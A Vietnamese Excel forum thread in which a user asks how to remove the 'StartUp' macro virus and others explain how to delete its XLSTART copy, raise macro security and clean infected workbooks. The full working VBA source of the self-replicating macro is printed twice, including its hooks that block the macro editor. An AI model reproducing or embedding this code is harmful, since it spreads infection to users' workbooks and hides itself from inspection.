Sử lý về file bi virut StartUp

[Hoangxdct2]

Em có 1 file bi virut StartUp có bác nào Hộ em với.
Khi mở file thì các Sheet chạy hàng loại là các StartUp. Nếu làm dừng lại thì xuất hiện có bảng code trong Macro, có nội dung như sau:.

Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Em phải làm thế nào thay bảng đoạn code nào trong để có thể xóa được StartUp hoặc không bị xuất hiện các StatUp nữa.
Đây là file
http://www.mediafire.com/?a9ynya446flyz7x

 

[ndu96081631]

Em có 1 file bi virut StartUp có bác nào Hộ em với.
Khi mở file thì các Sheet chạy hàng loại là các StartUp. Nếu làm dừng lại thì xuất hiện có bảng code trong Macro, có nội dung như sau:.

Trong code của virus có để cập đến Application.StartupPath ---> Vậy bạn xem StartupPath trên máy bạn là đường dẫn gì, vào đó xóa file StartUp.xls là được rồi
Có 2 cách để tìm đường dẫn StartupPath
1> Alt + F11 rồi bấm Ctrl + G, gõ vào dòng lệnh: ?Application.StartupPath rồi Enter sẽ thấy
2> Mở Windows Explorer lên, tìm từ khóa XLSTART sẽ thấy

 

[sealand]

Trong code của virus có để cập đến Application.StartupPath ---> Vậy bạn xem StartupPath trên máy bạn là đường dẫn gì, vào đó xóa file StartUp.xls là được rồi
Có 2 cách để tìm đường dẫn StartupPath
1> Alt + F11 rồi bấm Ctrl + G, gõ vào dòng lệnh: ?Application.StartupPath rồi Enter sẽ thấy
2> Mở Windows Explorer lên, tìm từ khóa XLSTART sẽ thấy

Hi, chuẩn không cần chỉnh!!! Nhưng mới 50%. Còn 1 việc nữa là chuyển Sercurity sang mức cao để tắt không cho VBA chạy và mở các file nghi ngờ lên để xoá hết Autpen nữa, thằng này nó sẽ sinh ra StartUp nếu nó kiểm tra hệ thống chưa có. Bạn để ý đoạn mã sau:

‘’’’’’’’’’’’’’’’’’’’’’’
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
‘’’’’’’’’’’’’’’’’’’’’’’’’

Bất kể file nào còn Autpen thì khi mở ở chế độ run VBA nó lại sinh ra StartUp, vậy nên việc kiểm tra tất cả các file đã bị dính Autpen mới quyết định đến độ "sạch". Một việc nữa để giảm dung lượng file bị nhiễm là xóa hết các sheet có tên StartUp_xxx. Nhấn Alt+F11 chọn chế độ hiển thị các Sheet này và xóa chúng đi.
Lưu ý :Đây là hình thức "đùa dai" của ai đó chứ không phải Virus nên các chương trình diệt Virus bó tay và ta phải tự cứu ta mà thôi.

 

[ndu96081631]

Hi, chuẩn không cần chỉnh!!! Nhưng mới 50%..

Ẹc... Ẹc... em biết chứ, nhưng cứ nói đến đó thôi (còn lại tác giả tự mò)... Bị "dính chưởng" nhiều tự nhiên thành "Hiệp sĩ" ngay!